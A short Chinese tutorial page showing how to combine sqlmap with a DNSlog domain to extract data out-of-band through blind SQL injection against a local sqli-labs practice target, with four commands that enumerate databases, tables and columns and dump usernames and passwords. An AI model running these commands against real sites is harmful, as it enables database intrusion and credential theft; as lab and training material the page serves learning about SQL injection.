dnslog+sqlmap外带数据

目录

爆库

爆表

爆列

爆数据


sqlmap+DNSlog 外带参数 --dns-domain参数注入

--dns-domain参数为dnslog平台的域名(我们也可以使用本地)

爆库

python sqlmap.py -u "http://127.0.0.1/sqli/less-8/index.php/?id=1" -technique=B -dns-domain "域名" -dbs

爆表

python sqlmap.py -u "http://127.0.0.1/sqli/less-8/index.php/?id=1" -technique=B -dns-domain "域名" -D 库名 -tables

爆列

python sqlmap.py -u "http://127.0.0.1/sqli/less-8/index.php/?id=1" -technique=B -dns-domain "域名" -D security -T users --columns

爆数据

python sqlmap.py -u "http://127.0.0.1/sqli/less-8/index.php/?id=1" -technique=B -dns-domain "域名" -D security -T users -C username,password --dump

相关推荐
程序员黑豆5 小时前
Java 注释详解:单行、多行与文档注释的完整指南
java·前端·ai编程
剪刀石头布啊6 小时前
antd中可编辑表格中巧用useWatch实现联动高性能效果,以及定制延伸学习
前端
油丶酸萝卜别吃6 小时前
前端转全栈学习路线
前端·学习
浮生望7 小时前
前端路由进阶:History API原理与手写HistoryRouter
前端
陆枫Larry7 小时前
JavaScript 中的竞态是什么,为啥会有竟态?
前端
上海安当技术9 小时前
半天接入:USBKey RESTful API + C 动态库,Web 和 C/S 两套集成路径实战
前端·后端·restful·集成·usbkey
DevUI团队9 小时前
从“即兴创作”到“规格先行”,华为云码道(CodeArts)代码智能体持续深耕企业级规范驱动开发能力
前端·人工智能·后端
2401_8653825010 小时前
密评与等保的关系:不是替代,而是互补
网络·信息化造价
weixin_4316004410 小时前
NestJS 入门(3):Guard 如何挡住未登录请求?
前端·后端·学习·nest.js
kyriewen11 小时前
我用Claude Code两天干完了团队两周的排期——周报发出去那一刻我就后悔了
前端·javascript·ai编程